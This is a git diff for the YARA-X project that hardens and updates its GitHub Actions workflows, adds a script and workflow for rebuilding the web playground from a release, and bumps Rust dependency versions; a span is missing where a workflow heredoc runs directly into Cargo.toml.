diff --git a/.gemini/config.yaml b/.gemini/config.yaml index 1c1babde8..59a35f023 100644 --- a/.gemini/config.yaml +++ b/.gemini/config.yaml @@ -1,3 +1,4 @@ code_review: - disable: true - comment_severity_threshold: HIGH \ No newline at end of file + pull_request_opened: + summary: true + include_drafts: false \ No newline at end of file diff --git a/.github/scripts/update_playground.py b/.github/scripts/update_playground.py new file mode 100644 index 000000000..a862e35f5 --- /dev/null +++ b/.github/scripts/update_playground.py @@ -0,0 +1,188 @@ + +#!/usr/bin/env python3 +"""Update the YARA-X playground from a published release. + +Usage: python3 .github/scripts/update_playground.py 1.22.0 +Requires Python 3.11+, Rust, wasm32-unknown-unknown, Node.js and npm. +""" + +import argparse +import re +import shlex +import shutil +import subprocess +import tempfile +import tomllib +from pathlib import Path + +ROOT = Path(__file__).resolve().parents[2] +PLAYGROUND = ROOT / "playground" +LS_PACKAGE = PLAYGROUND / "src/wasm/yara-x-ls/pkg" +LS_FILES = ( + "yara_x_ls.js", + "yara_x_ls.d.ts", + "yara_x_ls_bg.wasm", + "yara_x_ls_bg.wasm.d.ts", +) + + +def run(*command: str | Path, cwd: Path = ROOT) -> None: + args = [str(arg) for arg in command] + print(f"\n$ {shlex.join(args)}", flush=True) + subprocess.run(args, cwd=cwd, check=True) + + +def parse_version(value: str) -> str: + if not re.fullmatch(r"v?\d+\.\d+\.\d+", value): + raise argparse.ArgumentTypeError("Expected 1.22.0 or v1.22.0") + return value.removeprefix("v") + + +def verify_npm_release(version: str) -> None: + package = f"@virustotal/yara-x@{version}" + result = subprocess.run( + ["npm", "view", package, "version"], + capture_output=True, + text=True, + ) + + if result.returncode != 0: + raise ValueError( + f"Cannot verify {package} on npm: {result.stderr.strip()}" + ) + + if result.stdout.strip() != version: + raise ValueError( + f"Expected npm version {version}, got {result.stdout.strip()!r}" + ) + + print(f"npm release found: {package}", flush=True) + + +def fetch_release(version: str, directory: Path) -> Path: + source = directory / "source" + + run( + "git", "clone", "--depth", "1", "--branch", f"v{version}", + "--single-branch", "https://github.com/VirusTotal/yara-x.git", + source, + ) + + manifest_path = source / "ls/Cargo.toml" + + if not manifest_path.is_file(): + raise ValueError( + f"Release v{version} does not include the Language Server" + ) + + manifest = tomllib.loads( + manifest_path.read_text(encoding="utf-8") + ) + + if manifest["package"]["name"] != "yara-x-ls": + raise ValueError( + f"Release v{version} does not contain yara-x-ls" + ) + + return source + + +def wasm_bindgen_version(source: Path) -> str: + lockfile = tomllib.loads( + (source / "Cargo.lock").read_text(encoding="utf-8") + ) + + for package in lockfile["package"]: + if package["name"] == "wasm-bindgen": + return package["version"] + + raise ValueError("wasm-bindgen not found in Cargo.lock") + + +def build_language_server(source: Path) -> Path: + run( + "cargo", "build", + "--target", "wasm32-unknown-unknown", + "--no-default-features", + "-p", "yara-x-ls", "--lib", + "--release", "--locked", + cwd=source, + ) + + return source / "target/wasm32-unknown-unknown/release/yara_x_ls.wasm" + + +def generate_bindings( + source: Path, wasm: Path, directory: Path +) -> Path: + tools = directory / "tools" + + run( + "cargo", "install", "wasm-bindgen-cli", "--locked", + "--version", wasm_bindgen_version(source), + "--root", tools, + ) + + output = directory / "bindings" + + run( + tools / "bin/wasm-bindgen", wasm, + "--target", "web", + "--out-dir", output, + ) + + for filename in LS_FILES: + if not (output / filename).is_file(): + raise ValueError(f"Missing generated LS file: {filename}") + + return output + + +def update_playground(version: str, bindings: Path) -> None: + run( + "npm", "install", "--save-exact", + f"@virustotal/yara-x@{version}", + cwd=PLAYGROUND, + ) + + LS_PACKAGE.mkdir(parents=True, exist_ok=True) + + for filename in LS_FILES: + shutil.copyfile(bindings / filename, LS_PACKAGE / filename) + + run("npm", "run", "format", cwd=PLAYGROUND) + run("npm", "run", "build", cwd=PLAYGROUND) + + +def main() -> None: + parser = argparse.ArgumentParser( + description="Update the YARA-X playground" + ) + parser.add_argument( + "version", + type=parse_version, + help="e.g. 1.22.0 or v1.22.0", + ) + + version = parser.parse_args().version + + verify_npm_release(version) + + with tempfile.TemporaryDirectory( + prefix="yara-x-playground-" + ) as temporary: + directory = Path(temporary) + + source = fetch_release(version, directory) + wasm = build_language_server(source) + bindings = generate_bindings(source, wasm, directory) + update_playground(version, bindings) + + print("\nPlayground updated. Review the diff before committing.") + + +if __name__ == "__main__": + try: + main() + except (OSError, ValueError, subprocess.CalledProcessError) as error: + raise SystemExit(f"Update failed: {error}") from None diff --git a/.github/workflows/code_health.yaml b/.github/workflows/code_health.yaml index 5b0ef304f..ee06bfb99 100644 --- a/.github/workflows/code_health.yaml +++ b/.github/workflows/code_health.yaml @@ -2,13 +2,18 @@ name: Code health on: [ push, pull_request ] +permissions: + contents: read + jobs: clippy: name: Clippy runs-on: ubuntu-latest steps: - - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - - uses: dtolnay/rust-toolchain@master + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - uses: dtolnay/rust-toolchain@6c977a6ca4077a0ceb28ffbe03f59d46e9ac8772 with: toolchain: stable components: clippy @@ -18,8 +23,10 @@ jobs: name: Rustfmt runs-on: ubuntu-latest steps: - - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - - uses: dtolnay/rust-toolchain@master + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - uses: dtolnay/rust-toolchain@6c977a6ca4077a0ceb28ffbe03f59d46e9ac8772 # v1 with: toolchain: stable components: rustfmt diff --git a/.github/workflows/coverage.yaml b/.github/workflows/coverage.yaml index 4df13d996..951411550 100644 --- a/.github/workflows/coverage.yaml +++ b/.github/workflows/coverage.yaml @@ -11,6 +11,9 @@ on: # Also run manually from the Actions tab workflow_dispatch: +permissions: + contents: read + jobs: coverage: name: Coverage @@ -19,10 +22,12 @@ jobs: CARGO_TERM_COLOR: always steps: - name: Checkout sources - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false - name: Install toolchain - uses: dtolnay/rust-toolchain@master + uses: dtolnay/rust-toolchain@6c977a6ca4077a0ceb28ffbe03f59d46e9ac8772 with: toolchain: stable @@ -32,13 +37,15 @@ jobs: sudo apt-get install -y libmagic-dev - name: Install cargo-llvm-cov - uses: taiki-e/install-action@cargo-llvm-cov + uses: taiki-e/install-action@6cd13508893c0e7eab5f273c2575d3859bd7229a # v2.86.6 + with: + tool: 'cargo-llvm-cov' - name: Generate code coverage run: cargo llvm-cov --features=magic-module,rules-profiling --workspace --lib --lcov --output-path lcov.info - name: Upload coverage to Codecov - uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v7.0.0 + uses: codecov/codecov-action@fb8b3582c8e4def4969c97caa2f19720cb33a72f # v7.0.0 with: token: ${{ secrets.CODECOV_TOKEN }} files: lcov.info \ No newline at end of file diff --git a/.github/workflows/golang.yaml b/.github/workflows/golang.yaml index d0cc81ba3..5ad9c0aa0 100644 --- a/.github/workflows/golang.yaml +++ b/.github/workflows/golang.yaml @@ -14,20 +14,22 @@ jobs: strategy: fail-fast: false matrix: - go-version: [ '1.25.x', '1.26.x' ] + go-version: [ '1.26.x', '1.27.x' ] os: [ ubuntu-latest, macos-latest ] runs-on: ${{ matrix.os }} steps: - name: Checkout - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false - name: Setup Go ${{ matrix.go-version }} - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 + uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 with: go-version: ${{ matrix.go-version }} - name: Setup Rust - uses: dtolnay/rust-toolchain@master + uses: dtolnay/rust-toolchain@6c977a6ca4077a0ceb28ffbe03f59d46e9ac8772 with: toolchain: stable @@ -35,7 +37,7 @@ jobs: run: cargo install cargo-c - name: Build and install Rust library - run: cargo cinstall -p yara-x-capi --release --pkgconfigdir=${{ github.workspace }} --includedir=${{ github.workspace }} --libdir=${{ github.workspace }} + run: cargo cinstall -p yara-x-capi --release --features=test_proto2-module,test_proto3-module --pkgconfigdir=${{ github.workspace }} --includedir=${{ github.workspace }} --libdir=${{ github.workspace }} - name: Run Go tests run: | diff --git a/.github/workflows/pr_title.yaml b/.github/workflows/pr_title.yaml index 2fa53c98b..6efa60aee 100644 --- a/.github/workflows/pr_title.yaml +++ b/.github/workflows/pr_title.yaml @@ -1,6 +1,6 @@ name: Check PR title on: - pull_request_target: + pull_request: types: - opened - reopened diff --git a/.github/workflows/publish_npm_package.yaml b/.github/workflows/publish_npm_package.yaml index 83e872125..89ae9bfe3 100644 --- a/.github/workflows/publish_npm_package.yaml +++ b/.github/workflows/publish_npm_package.yaml @@ -12,21 +12,23 @@ jobs: if: ${{ startsWith(github.ref, 'refs/tags/v') }} runs-on: ubuntu-latest permissions: - contents: write + contents: read id-token: write steps: - name: Checkout sources - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false - name: Install Rust toolchain - uses: dtolnay/rust-toolchain@master + uses: dtolnay/rust-toolchain@6c977a6ca4077a0ceb28ffbe03f59d46e9ac8772 with: toolchain: stable target: wasm32-unknown-unknown - name: Install Node.js - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0 + uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 with: node-version: 24 registry-url: https://registry.npmjs.org/ diff --git a/.github/workflows/publish_vscode_extension.yaml b/.github/workflows/publish_vscode_extension.yaml index 248d93f2c..590b13249 100644 --- a/.github/workflows/publish_vscode_extension.yaml +++ b/.github/workflows/publish_vscode_extension.yaml @@ -7,6 +7,9 @@ on: # Allows you to run this workflow manually from the Actions tab workflow_dispatch: +permissions: + contents: read + jobs: build-and-publish: runs-on: ${{ matrix.os }} @@ -41,10 +44,12 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false - name: Setup Python - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0 with: python-version: '3.x' @@ -55,7 +60,7 @@ jobs: run: python .github/scripts/sync_version.py - name: Install Rust toolchain - uses: dtolnay/rust-toolchain@stable + uses: dtolnay/rust-toolchain@6c977a6ca4077a0ceb28ffbe03f59d46e9ac8772 with: toolchain: stable target: ${{ matrix.target }} @@ -70,7 +75,7 @@ jobs: run: cp target/${{ matrix.target }}/release/${{ matrix.binary_name }} ls/editors/code/dist/ - name: Setup Node.js - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0 + uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 with: node-version: 24 @@ -82,7 +87,14 @@ jobs: - name: Publish to Visual Studio Marketplace #if: github.ref == 'refs/heads/main' && github.event_name == 'push' + continue-on-error: true working-directory: ./ls/editors/code run: npx @vscode/vsce publish --packagePath ${{ matrix.build }}.vsix env: VSCE_PAT: ${{ secrets.VSCE_PAT }} + + - name: Publish to Open VSX Registry + working-directory: ./ls/editors/code + run: npx ovsx publish --packagePath ${{ matrix.build }}.vsix + env: + OVSX_PAT: ${{ secrets.OVSX_PAT }} diff --git a/.github/workflows/python.yaml b/.github/workflows/python.yaml index f6bd766f4..0f20cab9e 100644 --- a/.github/workflows/python.yaml +++ b/.github/workflows/python.yaml @@ -14,13 +14,15 @@ jobs: strategy: fail-fast: false matrix: - python-version: [ "3.9", "3.10", "3.11", "3.12", "3.13", "3.14" ] + python-version: [ "3.10", "3.11", "3.12", "3.13", "3.14" ] os: [ ubuntu-latest, macos-latest, windows-latest ] runs-on: ${{ matrix.os }} steps: - name: Checkout - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0 with: python-version: ${{ matrix.python-version }} diff --git a/.github/workflows/release.yaml b/.github/workflows/release.yaml index 22f1eb098..c0cbf1064 100644 --- a/.github/workflows/release.yaml +++ b/.github/workflows/release.yaml @@ -1,7 +1,6 @@ name: Release permissions: - # Allow this action to create releases. - contents: write + contents: read on: create: tags: @@ -46,10 +45,12 @@ jobs: steps: - name: Checkout sources - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false - name: Install Rust toolchain - uses: dtolnay/rust-toolchain@stable + uses: dtolnay/rust-toolchain@6c977a6ca4077a0ceb28ffbe03f59d46e9ac8772 with: toolchain: stable @@ -58,7 +59,7 @@ jobs: run: | set -ex version=`cargo pkgid --manifest-path lib/Cargo.toml | cut -d "@" -f2` - if [ "${{ github.ref_name }}" != "v$version" ]; then + if [ "${GITHUB_REF_NAME}" != "v$version" ]; then exit 1 fi @@ -81,10 +82,10 @@ jobs: shell: bash run: | set -ex - pkgname=yara-x-${{ github.ref_name }}-${{ matrix.target }} + pkgname=yara-x-${GITHUB_REF_NAME}-${{ matrix.target }} if [ "${{ matrix.build }}" = "windows" ]; then 7z a $pkgname.zip ./target/${{ matrix.target }}/release-lto/yr.exe - 7z a yara-x-capi-${{ github.ref_name }}-${{ matrix.target }}.zip \ + 7z a yara-x-capi-${GITHUB_REF_NAME}-${{ matrix.target }}.zip \ ./target/${{ matrix.target }}/release-lto/yara_x.h \ ./target/${{ matrix.target }}/release-lto/yara_x_capi.def \ ./target/${{ matrix.target }}/release-lto/yara_x_capi.lib \ @@ -133,9 +134,11 @@ jobs: steps: - name: Checkout sources - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false - name: Install Rust toolchain - uses: dtolnay/rust-toolchain@stable + uses: dtolnay/rust-toolchain@6c977a6ca4077a0ceb28ffbe03f59d46e9ac8772 with: toolchain: stable @@ -144,12 +147,12 @@ jobs: run: | set -ex version=`cargo pkgid --manifest-path lib/Cargo.toml | cut -d "@" -f2` - if [ "${{ github.ref_name }}" != "v$version" ]; then + if [ "${GITHUB_REF_NAME}" != "v$version" ]; then exit 1 fi - name: Install Python - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0 with: python-version: '3.12' @@ -160,9 +163,9 @@ jobs: run: pip install -U setuptools wheel twine cibuildwheel platformdirs - name: Build sdist - if: matrix.build == 'linux' && matrix.python-version == 'cp39' + if: matrix.build == 'linux-intel' && matrix.python-version == 'cp39' run: | - pip install maturin==1.7.4 + pip install "maturin>=1.8.2" maturin sdist --manifest-path py/Cargo.toml -o wheelhouse - name: Build ${{ matrix.platform || matrix.os }} binaries @@ -196,6 +199,7 @@ jobs: path: ./wheelhouse/*.whl - name: Upload artifacts + if: matrix.build == 'linux-intel' && matrix.python-version == 'cp39' uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 with: name: pypi-source-${{ strategy.job-index }} @@ -204,6 +208,9 @@ jobs: publish: needs: [ build ] runs-on: ubuntu-latest + permissions: + # Allow this job to create releases. + contents: write steps: - name: Download artifacts @@ -216,7 +223,7 @@ jobs: run: ls - name: Release - uses: softprops/action-gh-release@b4309332981a82ec1c5618f44dd2e27cc8bfbfda # v3.0.0 + uses: softprops/action-gh-release@3d0d9888cb7fd7b750713d6e236d1fcb99157228 # v3.0.2 with: draft: true files: yr-*/yara-x-* @@ -226,7 +233,9 @@ jobs: runs-on: ubuntu-latest steps: - name: Checkout sources - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false - name: Publish crate env: @@ -263,7 +272,7 @@ jobs: path: dist - name: Publish package distributions to PyPI - uses: pypa/gh-action-pypi-publish@cef221092ed1bacb1cc03d23a2d87d1d172e277b # v1.14.0 + uses: pypa/gh-action-pypi-publish@dc37677b2e1c63e2034f94d8a5b11f265b73ba33 # v1.14.2 with: #repository-url: https://test.pypi.org/legacy/ skip-existing: true diff --git a/.github/workflows/site.yaml b/.github/workflows/site.yaml index e2ec5541b..848916a8a 100644 --- a/.github/workflows/site.yaml +++ b/.github/workflows/site.yaml @@ -17,8 +17,6 @@ on: # Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages permissions: contents: read - pages: write - id-token: write # Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued. # However, do NOT cancel in-progress runs as we want to allow these production deployments to complete. @@ -37,10 +35,12 @@ jobs: runs-on: ubuntu-latest steps: - name: Checkout - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false - name: Setup Node.js - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0 + uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 with: node-version: 24 cache: 'npm' @@ -96,6 +96,9 @@ jobs: url: ${{ steps.deployment.outputs.page_url }} runs-on: ubuntu-latest needs: build + permissions: + pages: write + id-token: write steps: - name: Deploy to GitHub Pages id: deployment diff --git a/.github/workflows/tests.yaml b/.github/workflows/tests.yaml index cefaba763..517fdefdb 100644 --- a/.github/workflows/tests.yaml +++ b/.github/workflows/tests.yaml @@ -3,6 +3,10 @@ on: pull_request: types: [ opened, reopened, synchronize, ready_for_review ] push: + +permissions: + contents: read + jobs: test: name: Test @@ -29,7 +33,7 @@ jobs: include: - build: msrv os: ubuntu-latest - rust: 1.91.0 + rust: 1.95.0 target: x86_64-unknown-linux-gnu args: "--features=magic-module,rules-profiling" rust_flags: "-Awarnings" @@ -134,10 +138,12 @@ jobs: steps: - name: Checkout sources - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false - name: Install Rust toolchain - uses: dtolnay/rust-toolchain@master + uses: dtolnay/rust-toolchain@6c977a6ca4077a0ceb28ffbe03f59d46e9ac8772 with: toolchain: ${{ matrix.rust }} target: ${{ matrix.target }} @@ -147,7 +153,7 @@ jobs: - name: Cache cargo registry if: matrix.use_cache == true - uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 with: path: | ~/.cargo/registry @@ -174,6 +180,18 @@ jobs: env: RUSTFLAGS: ${{ matrix.rust_flags }} + # When the whole workspace is tested, Cargo unifies the features enabled + # for `yara-x` across all workspace members. Several members depend on + # `yara-x` through the `[workspace.dependencies]` entry, which enables + # features like `constant-folding`, so the step above doesn't actually + # disable them. Testing the `yara-x` crate alone makes sure that its + # tests run without its default features. + - name: Run tests for yara-x without default features + if: matrix.build == 'no-default-features' + run: cargo test --target ${{ matrix.target }} -p yara-x ${{ matrix.args }} + env: + RUSTFLAGS: ${{ matrix.rust_flags }} + - name: Build CLI run: cargo build --bin yr --target ${{ matrix.target }} ${{ matrix.args }} env: diff --git a/.github/workflows/update_playground.yaml b/.github/workflows/update_playground.yaml new file mode 100644 index 000000000..ccd1804e8 --- /dev/null +++ b/.github/workflows/update_playground.yaml @@ -0,0 +1,64 @@ +name: Update playground + +on: + workflow_dispatch: + inputs: + version: + description: 'YARA-X version (e.g. 1.22.0)' + required: true + type: string + +permissions: + contents: write + pull-requests: write + +jobs: + update: + runs-on: ubuntu-latest + env: + CARGO_TERM_COLOR: always + VERSION: ${{ inputs.version }} + defaults: + run: + shell: bash + steps: + - name: Checkout sources + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: main + persist-credentials: false + + - name: Setup Python + uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0 + with: + python-version: '3.11' + + - name: Install Rust toolchain + uses: dtolnay/rust-toolchain@683b588c487a69d01f6c6ddf40f036ff682cc2c8 + with: + toolchain: stable + target: wasm32-unknown-unknown + + - name: Setup Node.js + uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 + with: + node-version-file: playground/.nvmrc + cache: 'npm' + cache-dependency-path: playground/package-lock.json + + - name: Update playground + run: python3 .github/scripts/update_playground.py "$VERSION" + + - name: Create pull request + uses: peter-evans/create-pull-request@5f6978faf089d4d20b00c7766989d076bb2fc7f1 # v8.1.1 + with: + base: main + branch: chore/update-playground-${{ inputs.version }} + title: 'chore(playground): update LS and YARA-X to ${{ inputs.version }}' + commit-message: 'chore(playground): update LS and YARA-X to ${{ inputs.version }}' + body: | + Update the scanner and regenerate the Language Server WASM for YARA-X ${{ inputs.version }}. + add-paths: | + playground/package.json + playground/package-lock.json + playground/src/wasm/yara-x-ls/pkg/ diff --git a/.github/workflows/wasm.yaml b/.github/workflows/wasm.yaml index a82da270e..773166a2c 100644 --- a/.github/workflows/wasm.yaml +++ b/.github/workflows/wasm.yaml @@ -8,6 +8,10 @@ on: - '.github/workflows/wasm.yaml' tags-ignore: - '**' + +permissions: + contents: read + jobs: build: runs-on: ubuntu-latest @@ -15,10 +19,12 @@ jobs: CARGO_TERM_COLOR: always steps: - name: Checkout sources - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false - name: Install Rust toolchain - uses: dtolnay/rust-toolchain@master + uses: dtolnay/rust-toolchain@6c977a6ca4077a0ceb28ffbe03f59d46e9ac8772 with: toolchain: stable target: wasm32-unknown-unknown diff --git a/.github/workflows/wasm_tests.yaml b/.github/workflows/wasm_tests.yaml index fa67cb690..6990ff8ee 100644 --- a/.github/workflows/wasm_tests.yaml +++ b/.github/workflows/wasm_tests.yaml @@ -6,6 +6,9 @@ on: - 'v*' workflow_dispatch: +permissions: + contents: read + jobs: browser-wasm: name: Browser WASM @@ -14,45 +17,51 @@ jobs: CARGO_TERM_COLOR: always steps: - name: Checkout sources - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false - name: Install Rust toolchain - uses: dtolnay/rust-toolchain@master + uses: dtolnay/rust-toolchain@6c977a6ca4077a0ceb28ffbe03f59d46e9ac8772 with: toolchain: stable target: wasm32-unknown-unknown - name: Install Node.js - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0 + uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 with: node-version: 22 - name: Install Chrome and ChromeDriver id: setup-chrome - uses: browser-actions/setup-chrome@2e1d749697dd1612b833dba4a722266286fbefcd # v2.1.2 + uses: browser-actions/setup-chrome@48ad923757ca74d66703209fe939badbdf80f2f4 # v2.2.0 with: chrome-version: stable install-dependencies: true install-chromedriver: true - name: Add ChromeDriver to PATH - run: echo "$(dirname '${{ steps.setup-chrome.outputs.chromedriver-path }}')" >> "$GITHUB_PATH" + env: + CHROMEDRIVER_PATH: ${{ steps.setup-chrome.outputs.chromedriver-path }} + run: echo "$(dirname "$CHROMEDRIVER_PATH")" >> "$GITHUB_PATH" - name: Install wasm-pack - run: cargo install --locked wasm-pack --version 0.14.0 + run: cargo install --locked wasm-pack --version 0.15.0 - name: Install wasm-bindgen CLI - run: cargo install --locked wasm-bindgen-cli --version 0.2.113 + run: cargo install --locked wasm-bindgen-cli --version 0.2.129 - name: Install terser run: npm install --global terser - name: Write webdriver.json + env: + CHROME_PATH: ${{ steps.setup-chrome.outputs.chrome-path }} run: | cat > js-wasm/webdriver.json <"] edition = "2024" homepage = "https://virustotal.github.io/yara-x" @@ -11,7 +11,7 @@ keywords = ["pattern-matching", "cybersecurity", "forensics", "malware", "yara"] # When updating rust-version also update MSRV in: # .github/workflows/tests.yaml # -rust-version = "1.91.0" +rust-version = "1.95.0" [workspace] members = [ @@ -31,94 +31,99 @@ resolver = "3" [workspace.dependencies] -daachorse = "3.0.3" -annotate-snippets = "0.12.16" -anyhow = "1.0.103" +daachorse = "5.1.0" +annotate-snippets = "0.12.17" +anyhow = "1.0.104" hex = "0.4.3" ascii_tree = "0.1.1" -base64 = "0.22.1" +base64 = "0.23.1" bincode = "2.0.1" -bitflags = "2.13.1" +bitflags = "2.13.2" bitvec = "1.1.1" -bstr = "1.13.0" +bstr = "1.13.1" cbindgen = "0.29.4" chrono = "0.4.45" -clap = "4.6.2" -clap_complete = "4.6.7" -codepage = "0.1.2" -const-oid = "0.9.6" -crc32fast = "1.5.0" +clap = "4.6.7" +clap_complete = "4.6.11" +codepage = "0.1.3" +const-oid = "0.10.2" +crc32fast = "1.5.2" der-parser = "10.0.0" -digest = "0.10.7" -dsa = "0.6.3" -ecdsa = "0.16.9" -encoding_rs = "0.8" -env_logger = "0.11.10" +digest = "0.11.3" +dsa = "0.7.0" +ecdsa = "0.17.0" +encoding_rs = "0.8.42" +env_logger = "0.11.11" figment = "0.10.19" -flate2 = "1.1.5" +flate2 = "1.1.10" globwalk = "0.9.1" goldenfile = "1.11.0" -getrandom = "0.2.17" +getrandom = "0.4.3" home = "0.5.12" ihex = "3.0.0" -indexmap = "2.14.0" +indexmap = "2.14.2" intaglio = "1.15.1" -inventory = "0.3.24" -ipnet = "2.12.0" -itertools = "0.14.0" -js-sys = "0.3.102" -log = "0.4.32" +inventory = "0.3.25" +ipnet = "2.12.2" +itertools = "0.15.0" +js-sys = "0.3.106" +log = "0.4.34" magic = "0.16.7" -md2 = "0.10.2" -md-5 = "0.10.6" -memmap2 = "0.9.10" -memchr = "2.8.2" +md2 = "0.11.0" +md-5 = "0.11.0" +memmap2 = "0.9.11" +memchr = "2.8.3" nom = "8.0.0" num-traits = "0.2.19" -num-derive = "0.4.2" -p256 = "0.13.2" -p384 = "0.13.1" +num-derive = "0.5.1" +p256 = "0.14.0" +p384 = "0.14.0" predicates = "3.1.4" pretty_assertions = "1.4.1" protobuf = "3.7.2" protobuf-codegen = "3.7.2" protobuf-parse = "3.7.2" -psl = "2.1.213" -quanta = "0.12.6" +psl = "2.1.243" +quanta = "0.13.0" rayon = "1.12.0" -regex = "1.12.4" +regex = "1.13.1" regex-syntax = "0.8.11" -regex-automata = "0.4.14" +regex-automata = "0.4.18" roxmltree = "0.21.1" -rsa = "0.9.10" -rustc-hash = "2.1.2" -serde = "1.0.228" -serde_json = "1.0.149" +rsa = "0.10.0-rc.19" +rustc-hash = "2.1.3" +serde = "1.0.229" +serde_json = "1.0.154" serde-wasm-bindgen = "0.6.5" -sha1 = "0.10.6" -sha2 = "0.10.6" +sha1 = "0.11.0" +sha2 = "0.11.1" smallvec = "1.14.0" strum = "0.28.0" strum_macros = "0.28.0" -thiserror = "2.0.18" -uuid = "1.24.0" -walrus = "0.26.4" -wasm-bindgen = "0.2.125" -wasm-bindgen-test = "0.3.75" +thiserror = "2.0.21" +uuid = "1.28.0" +walrus = "0.27.2" +wasm-bindgen = "0.2.129" +wasm-bindgen-test = "0.3.79" wasm-opt = "0.116.1" -wasmtime = { version = "43.0.2", default-features = false } -x509-parser = "0.18.0" +wasmtime = { version = "48.0.8", default-features = false } +x509-parser = "0.18.1" yansi = "1.0.1" -yara-x = { path = "lib", version = "1.19.0" } -yara-x-fmt = { path = "fmt", version = "1.19.0" } -yara-x-macros = { path = "macros", version = "1.19.0" } -yara-x-parser = { path = "parser", version = "1.19.0" } -yara-x-proto = { path = "proto", version = "1.19.0"} -zip = { version = "8.2.0", default-features = false } +yara-x = { path = "lib", version = "=1.23.0", default-features = false, features = [ + "constant-folding", + "exact-atoms", + "fast-regexp", + "generate-proto-code", +] } +yara-x-fmt = { path = "fmt", version = "=1.23.0" } +yara-x-macros = { path = "macros", version = "=1.23.0" } +yara-x-parser = { path = "parser", version = "=1.23.0" } +yara-x-proto = { path = "proto", version = "=1.23.0" } +zip = { version = "9.0.5", default-features = false } tinyzip = "0.4.0" -simd-adler32 = "0.3.9" -simd_cesu8 = "1.1.1" -assert-call = "0.1.2" +simd-adler32 = "0.3.10" +simd_cesu8 = "1.2.0" +assert-call = "0.2.0" # Special profile that builds a release binary with link-time optimization. # Compiling with this profile takes a while, but the resulting binary is diff --git a/README.md b/README.md index d28a42583..55242955b 100644 --- a/README.md +++ b/README.md @@ -66,4 +66,8 @@ battle-tested. Please test YARA-X and don’t hesitate to [open an 